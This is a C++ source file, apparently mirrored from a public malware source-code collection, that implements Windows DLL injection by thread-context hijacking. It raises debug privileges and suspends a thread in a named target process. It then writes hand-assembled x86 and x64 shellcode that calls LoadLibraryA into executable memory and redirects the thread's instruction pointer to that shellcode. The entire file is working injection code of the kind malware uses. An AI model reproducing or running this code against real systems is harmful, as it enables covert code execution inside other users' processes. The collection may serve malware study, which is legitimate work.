mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
vxunderground
357 lines
10 KiB
C++
357 lines
10 KiB
C++
// InjectDllBySetThreadContextx64.cpp : 定义控制台应用程序的入口点。
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//
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#include "stdafx.h"
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#include <iostream>
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using namespace std;
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#include <windows.h>
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#include "tlhelp32.h"
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BYTE ShellCode[64]=
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{
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0x60,
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0x9c,
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0x68, //push
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0xaa,0xbb,0xcc,0xdd,//dll path +3 dll最目标进程中的地址
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0xff,0x15, //call 这里感觉有点乱，我在64下直接call 相对地址
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0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr
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0x9d,
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0x61,
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0xff,0x25, //jmp
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0xaa,0xbb,0xcc,0xdd,// +17 jmp eip
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0xaa,0xaa,0xaa,0xaa,// loadlibrary addr
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0xaa,0xaa,0xaa,0xaa// jmpaddr +25
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// +29
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};
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/*
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{
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00973689 > 60 PUSHAD
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0097368A 9C PUSHFD
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0097368B 68 50369700 PUSH notepad.00973650
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00973690 FF15 70369700 CALL DWORD PTR DS:[973670]
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00973696 9D POPFD
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00973697 61 POPAD
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00973698 - FF25 30369700 JMP DWORD PTR DS:[973630]
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}
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*/
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BYTE ShellCode64[64]=
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{
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0x48,0x83,0xEC,0x28, // sub rsp ,28h
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0x48,0x8D,0x0d, // [+4] lea rcx,
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0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
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0x48, 0xB8,
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0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
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0xff, 0xd0,
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0x48,0x83,0xc4,0x28, // [+16] add rsp,28h
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//0xcc, 调试时断下来的int 3 正常运行的时候非常傻逼的没有请掉...难怪一直死
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0xff,0x25, // [+20]
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0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
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0xaa,0xbb,0xcc,0xdd, //+26
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0xaa,0xbb,0xcc,0xdd
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//+34
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};
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BOOL EnableDebugPriv() ;
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BOOL StartHook(HANDLE hProcess,HANDLE hThread);
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DWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
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{
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DWORD dwProcessId = 0;
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HANDLE hSnapshot = NULL;
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PROCESSENTRY32 pe = { 0 };
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DWORD eReturn = 0;
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hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (NULL == hSnapshot)
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{
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eReturn = -1;
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printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
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goto lblCleanup;
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}
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pe.dwSize = sizeof(PROCESSENTRY32);
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if (FALSE == Process32First(hSnapshot, &pe))
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{
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eReturn = -1;
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printf("Process32First error. GLE: %d.", GetLastError());
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goto lblCleanup;
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}
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do
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{
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if (NULL != wcsstr(pe.szExeFile, pszProcessName))
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{
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dwProcessId = pe.th32ProcessID;
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break;
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}
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} while (Process32Next(hSnapshot, &pe));
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if (0 == dwProcessId)
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{
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printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
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eReturn = -1;
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goto lblCleanup;
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}
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printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
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*pdwProcessId = dwProcessId;
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eReturn = 0;
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lblCleanup:
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if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
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{
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CloseHandle(hSnapshot);
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hSnapshot = NULL;
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}
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return eReturn;
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}
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int _tmain(int argc, _TCHAR* argv[])
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{
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EnableDebugPriv() ;
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DWORD ProcessId = 0;
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#ifdef _WIN64
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main_GetProcessIdByName(L"targetx64.exe", &ProcessId);
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#else
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main_GetProcessIdByName(L"target.exe", &ProcessId);
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#endif
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HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId);
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if(Process == NULL)
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{
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printf("OpenProcess Fail LastError [%d]\n", GetLastError());
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getchar();
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return 0;
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}
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printf("Open Process [%d] OK.\n", ProcessId);
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THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
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HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ;
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if ( hThreadSnap == INVALID_HANDLE_VALUE )
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{
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printf("CreateToolhelp32Snapshot fail LastError [%d]\n", GetLastError());
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getchar();
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return FALSE;
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}
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if (Thread32First(hThreadSnap, &te32))
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{
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do{
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if(te32.th32OwnerProcessID == ProcessId)
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{
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HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID);
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if(Thread == NULL)
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{
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printf("OpenThread Failed LastError [%d]\n", GetLastError());
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break;
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}
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SuspendThread(Thread);
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printf("start Hook.\n");
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if (!StartHook(Process,Thread))
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{
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printf("失败\n");
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getchar();
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}
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else
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{
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CloseHandle(Thread);
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break;
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}
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CloseHandle(Thread);
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}
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}while(Thread32Next(hThreadSnap, &te32));
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}
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CloseHandle(Process);
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CloseHandle(hThreadSnap);
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getchar();
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}
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BYTE *DllPath;
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BOOL StartHook(HANDLE hProcess,HANDLE hThread)
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{
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#ifdef _WIN64
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CONTEXT ctx;
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ctx.ContextFlags=CONTEXT_ALL;
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if (!GetThreadContext(hThread,&ctx))
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{
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printf("GetThreadContext Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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printf("getThreadContext OK.\n");
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LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
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if (LpAddr==NULL)
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{
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printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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DWORD64 LoadDllAAddr=(DWORD64)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
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if (LoadDllAAddr==NULL)
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{
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printf("LoadDllAddr error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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/*
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0x48,0x83,0xEC,0x28, //sub rsp ,28h
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0x48,0x8D,0x0d, // [+4] lea rcx,
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0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7
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0x48, 0xB8, // [+11]mov rax, ptr
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0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc,
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0xff, 0xd0, // [+21] call rax
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0x48,0x83,0xc4,0x28, // [+23] add rsp,28h
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0xff,0x25, // [+27]
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0xaa,0xbb,0xcc,0xdd, // [+29] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6
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0xaa,0xbb,0xcc,0xdd, //+33
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0xaa,0xbb,0xcc,0xdd
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//+41
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*/
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DllPath=ShellCode64+41;
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strcpy((char*)DllPath,"Dllx64.dll");//这里是要注入的DLL名字
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DWORD DllNameOffset = 30;// ((BYTE*)LpAddr+34) -((BYTE*)LpAddr+4) -7 这个指令7个字节
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*(DWORD*)(ShellCode64+7)=(DWORD)DllNameOffset;
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////////////////
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DWORD64 LoadDllAddroffset = (DWORD64)LoadDllAAddr;// - ((BYTE*)LpAddr + 11) -5; //这个指令5个字节e8 + 4addroffset
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*(DWORD64*)(ShellCode64+13)=LoadDllAddroffset;
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//////////////////////////////////
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*(DWORD64*)(ShellCode64+33)=ctx.Rip; //64下为rip
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*(DWORD*)(ShellCode64+29)= (DWORD)0; //我将地址放在+26的地方，相对offset为0
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// 这里因为这样写跳转不到目标地址，故x64 应该要中转一次 相对寻址
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// DWORD Ds = (DWORD)ctx.SegDs;
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// DWORD RipOffset = (BYTE*)ctx.Rip - ((BYTE*)LpAddr+20) -6;
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// *(DWORD*)(ShellCode64+22)=(DWORD)ctx.Rip;
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////////////////////////////////////
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if (!WriteProcessMemory(hProcess,LpAddr,ShellCode64,64,NULL))
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{
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printf("write Process Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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ctx.Rip=(DWORD64)LpAddr;
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if (!SetThreadContext(hThread,&ctx))
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{
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printf("set thread context error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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printf("SetThreadContext OK.\n");
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ResumeThread(hThread);
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return TRUE;
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#else
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CONTEXT ctx = {0};
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ctx.ContextFlags=CONTEXT_ALL;
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if (!GetThreadContext(hThread,&ctx))
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{
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printf("GetThreadContext Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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printf("GetThreaxContext OK.\n");
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LPVOID LpAddr=VirtualAllocEx(hProcess,NULL,64,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
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if (LpAddr==NULL)
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{
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printf("VirtualAlloc Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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DWORD LoadDllAAddr=(DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryA");
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if (LoadDllAAddr==NULL)
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{
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printf("LoadDllAddr error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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/////////////
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/*
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0x60, PUSHAD
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0x9c, PUSHFD
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0x68, PUSH
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0xaa,0xbb,0xcc,0xdd,//dll path address
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0xff,0x15, CALL
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0xdd,0xcc,0xbb,0xaa, offset
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0x9d, POPFD
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0x61, POPAD
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0xff,0x25, JMP
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0xaa,0xbb,0xcc,0xdd,// [xxxxx]
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0xaa,0xaa,0xaa,0xaa,// LoadLibrary Address
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0xaa,0xaa,0xaa,0xaa// 恢复的EIP Address
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// +29 Dll名字
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*/
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_asm mov esp,esp
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DllPath=ShellCode+29;
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strcpy((char*)DllPath,"Dllx86.dll");//这里是要注入的DLL名字
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*(DWORD*)(ShellCode+3)=(DWORD)LpAddr+29;
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////////////////
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*(DWORD*)(ShellCode+21)=LoadDllAAddr; //loadlibrary地址放入shellcode中
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*(DWORD*)(ShellCode+9)=(DWORD)LpAddr+21;//修改call 之后的地址 为目标空间存放 loaddlladdr的地址
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//////////////////////////////////
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*(DWORD*)(ShellCode+25)=ctx.Eip;
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*(DWORD*)(ShellCode+17)=(DWORD)LpAddr+25;//修改jmp 之后为原来eip的地址
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////////////////////////////////////
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if (!WriteProcessMemory(hProcess,LpAddr,ShellCode,64,NULL))
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{
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printf("write Process Error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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ctx.Eip=(DWORD)LpAddr;
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if (!SetThreadContext(hThread,&ctx))
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{
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printf("set thread context error LastError [%d]\n", GetLastError());
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return FALSE;
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}
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printf("SetThreadContext OK.\n");
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ResumeThread(hThread);
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return TRUE;
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#endif
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};
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BOOL EnableDebugPriv()
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{
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HANDLE hToken;
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LUID sedebugnameValue;
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TOKEN_PRIVILEGES tkp;
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if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
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{
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return FALSE;
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}
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if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
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{
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CloseHandle(hToken);
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return FALSE;
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}
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tkp.PrivilegeCount = 1;
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tkp.Privileges[0].Luid = sedebugnameValue;
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tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
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{
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return FALSE;
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}
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CloseHandle(hToken);
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return TRUE;
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}
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